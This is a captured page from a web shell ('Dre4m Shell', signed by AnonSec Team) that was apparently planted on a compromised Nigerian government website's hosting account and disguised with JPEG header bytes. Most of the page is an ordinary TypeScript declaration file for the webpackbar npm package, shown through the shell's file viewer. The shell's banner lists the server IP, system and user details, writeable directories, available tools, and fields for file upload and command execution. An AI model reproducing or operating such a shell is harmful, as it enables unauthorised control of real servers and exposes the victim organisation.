ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 18.191.93.43
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/node_modules/webpackbar/dist/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/node_modules/webpackbar/dist/webpackbar.d.ts
import { Stats, ProgressPlugin } from 'webpack';

type ReporterContextFunc<T = any> = (context: WebpackBarPlugin, opts: T) => void

interface State {
  start: [number, number] | null
  progress: number
  done: boolean
  message: string
  details: string[]
  request: null | {
    file: null | string
    loaders: string[]
  }
  hasErrors: boolean
  color: string
  name: string
}

interface Reporter {
  /**
   * Called when (re)compile is started
   */
  start?: ReporterContextFunc

  /**
   * Called when a file changed on watch mode
   */
  change?: ReporterContextFunc<{ shortPath: string }>

  /**
   * Called after each progress update
   */
  update?: ReporterContextFunc

  /**
   * Called when compile finished
   */
  done?: ReporterContextFunc<{ stats: Stats }>

  /**
   * Called when build progress updated
   */
  progress?: ReporterContextFunc

  /**
   * Called when _all_ compiles finished
   */
  allDone?: ReporterContextFunc

  beforeAllDone?: ReporterContextFunc

  afterAllDone?: ReporterContextFunc
}

type ReporterOpts = { reporter: Reporter | string, options?: any }
type ReporterInput = string | [Reporter | string, any?] | ReporterOpts

interface WebpackBarOptions {
  /**
   * Display name
   * @default 'webpack'
   */
  name?: string

  /**
   * Color output of the progress bar
   * @default 'green'
   */
  color?: string

  /**
   * Enable profiler
   * @default false
   */
  profile?: boolean

  /**
   * Enable bars reporter
   * Defaults to 'true' when not in CI or testing mod
   * @default true
   */
  fancy?: boolean

  /**
   * Enable a simple log reporter (only start and end)
   * Defaults to 'true' when running in minimal environments
   * @default true
   */
  basic?: boolean

  /**
   * Register a custom reporter
   */
  reporter?: ReporterInput

  /**
   * Register an Array of your custom reporters.
   * @default ['basic'] | ['fancy']
   */
  reporters?: ReporterInput[]
}

declare class WebpackBarPlugin extends ProgressPlugin {
    private options;
    private reporters;
    constructor(options: WebpackBarOptions);
    callReporters(fn: any, payload?: {}): void;
    get hasRunning(): boolean;
    get hasErrors(): boolean;
    get statesArray(): any[];
    get states(): {
        [key: string]: State;
    };
    get state(): State;
    _ensureState(): void;
    apply(compiler: any): void;
    updateProgress(percent?: number, message?: string, details?: any[]): void;
}

export default WebpackBarPlugin;
export { Reporter, State };

Anon7 - 2022
AnonSec Team